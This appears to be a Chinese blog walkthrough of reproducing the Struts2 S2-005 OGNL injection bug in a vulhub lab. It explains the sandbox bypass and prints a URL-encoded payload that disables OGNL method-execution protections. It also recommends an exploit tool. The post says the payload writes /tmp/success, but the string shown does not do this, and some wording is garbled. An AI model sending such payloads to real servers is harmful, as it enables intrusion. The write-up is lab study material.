0X00-引言
江南真是個好地方,充滿詩情畫意,常見於文人墨客的書詞中,每次見到都忍不住心神向往。想到煙雨就想到江南,江南風景美,人更美。
南朝四百八十寺,多少樓台煙雨中。
江南又夢煙雨,長河流入故里。
江南好,最好是紅衣。
0X01-環境搭建
靶機:CentOS Linux 7
攻擊機:windows server 2016 && Kail
環境:vulhub
項目地址:https://github.com/vulhub/vulhub
搭建vulhub請訪問:空白centos7 64 搭建vulhub(詳細)
0X02-漏洞描述
參考吳翰清的《白帽子Web安全》一書
s2-0005漏洞的起源起源S2-003(版本:Struts 2.0.12),struts2執行http的每個參數名解析為OGNL語句(可理解為java代碼)。OGNL表達式通過#來訪問struts的對象,struts框架通過過濾#字符防護安全問題,但通過unicode編碼(\u0023)或8進制(\43)即繞過了安全限制,對於S2-003漏洞,官方通過增加安全限制配置(禁止使用方法調用和類方法等)來文檔,但是安全配置被再次導致了漏洞,攻擊者可以利用OGNL表達式將這2個選項打開,S2-003的按鈕把自己打開一個鎖,但是把鎖鑰匙給插在了鎖頭上
XWork利用巴西GET參數的鍵和值OGNL表達式解析成Java語句,如:
user.address.city=Bishkek&user['favoriteDrink']=kumys
//會被轉化成
action.getUser().getAddress().setCity("Bishkek")
action.getUser().setFavoriteDrink("kumys")
觸發漏洞利用了這個點,再配合OGNL的沙盒-繞過方法,組成了S2003。官方對003的修復方法是增加了安全模式(沙),S2-005在OGNL表達式中將安全模式關閉,又繞過了修復方法。整體過程如下:
- S2-003 使用
\u0023繞過2對#的防御 - S2-003后官方增加了安全模式(沙盒)
- S2-005 使用OGNL表達式將沙盒關閉,繼續執行代碼
影響版本:2.0.0 - 2.1.8.1
0X03-漏洞復現
01-創建tmp/success
payload:
(%27%5cu0023_memberAccess[%5c%27allowStaticMethodAccess%5c%27]%27)(vaaa)=true&(aaaa)((%27%5cu0023context[%5c%27xwork.MethodAccessor.denyMethodExecution%5c%27]%5cu003d%5cu0023vccc%27)(%5cu0023vccc%5cu003dnew%20java.lang.Boolean(%22false%22)))&(asdf)

查看容器內tmp目錄
docker ps #查看容器ID
docker exec -it ID /bin/bash #進入容器
ls /tmp #查看容器內tmp目錄
exit #退出容器

至於構建其他payload,小生做不到啊🙃
0X04-工具檢測
工具地址:https://github.com/Liqunkit/LiqunKit_
此工具強得很,誰用誰知道,懂都懂


0X05-日志查看
docker ps #查看容器ID
docker exec -it 910e341b0e88 /bin/bash #進入
cat localhost_access_log.2021-12-01.txt #查看日志
exit #退出容器

